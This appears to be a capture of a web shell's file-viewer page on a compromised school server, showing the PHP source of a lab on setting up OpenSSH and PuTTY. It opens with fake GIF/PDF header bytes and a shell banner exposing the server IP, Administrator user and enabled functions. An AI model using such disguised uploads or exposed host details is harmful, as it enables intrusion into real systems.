GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/CST2505/Labs/Lab11/ |
Upload File : |
<? // JimMartinson/CST2505/Labs/Lab10.php require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $disabled = ''; $disabled = ' disabled'; // Comment this line to enable lab. ?> <fieldset><legend>Description</legend> The purpose of this lab is to demonstrate your ability to setup your Ubuntu desktop for remote administration thru OpenSSH server and a terminal program. <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend>Lab Instruction</legend> Create a <b class="copyText"><?=$evaluationName?></b> folder and keep all screenshots and any copied files for this assignment in that <b><?=$evaluationName?></b> folder. <ol class="count"> <li> Install OpenSSH server. <ol> <li>Install the OpenSSH client. From a terminal window run the commands: <kbd class="nowrap copyText">sudo apt-get update</kbd> and <kbd class="nowrap copyText">sudo apt-get install openssh-client</kbd>.</li> <li>Install the OpenSSH server. From a terminal window run the command: <kbd class="nowrap copyText">sudo apt-get install openssh-server</kbd>.</li> <li>Make sure the OpenSSH server is running. From a terminal window run the command: <kbd class="nowrap copyText">sudo service ssh restart</kbd>.</li> <li>Note your Ubuntu desktop <b>Host-only Adapter</b> IPv4 address. From a terminal window run the command: <kbd class="copyText">ip a</kbd>. and note the <b>Host-only Adapter</b> IPv4 address. This usually begins with 192.168.</li> </ol> </li> <li> Test the OpenSSH server. <span class="note" style="font-size: 1em;">This step is done from your Windows or Mac host.</span> <ol> <li>Download <a href="https://www.putty.org/">PuTTY</a> (Windows) or <a href="https://iterm2.com/downloads.html">iTerm2</a> (Mac).</li> <li>Run PuTTY (Windows) or iTerm2 (Mac). <br>PuTTY for Windows does not need to be installed. It is simply run from <b>putty.exe</b>. <br>iTerm2 (iTerm2-3_1_5.zip) for the Mac needs to be un-zipped and the <b>iTerm.app</b> folder copied or moved to your <b>Applications</b> folder. You can get more info from the <a href="https://www.iterm2.com/">iTerm2 website</a>, <a href="https://null-byte.wonderhowto.com/how-to/mac-for-hackers-install-iterm2-using-terminal-0174142/">wonderhowto</a>, or <a href="http://sourabhbajaj.com/mac-setup/iTerm/README.html">sourabhbajaj</a>. </li> <li>Connect and login to your Ubuntu desktop VM</li> <li> Take a screenshot of the PuTTY or iTerm2 terminal window and save it as <b class="copyText" style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>.png</b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See example screenshot','Hide example screenshot'); ?><br> <img src="images/terminal.png" width="825" height="521" alt="The terminal window example screenshot"/><br> <? showEnd (); ?> </li> </ol> </li> <li>Turn in your assignment: <ol type="a"> <li>Make sure the following files are in your <b><?=$evaluationName?></b> folder: <ol type="a"> <li><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>.png.</li> </ol> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. #require('../../ReferencesResources.phpinc'); #require($Instructor['Path'].'/ContactInformation.phpinc'); if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>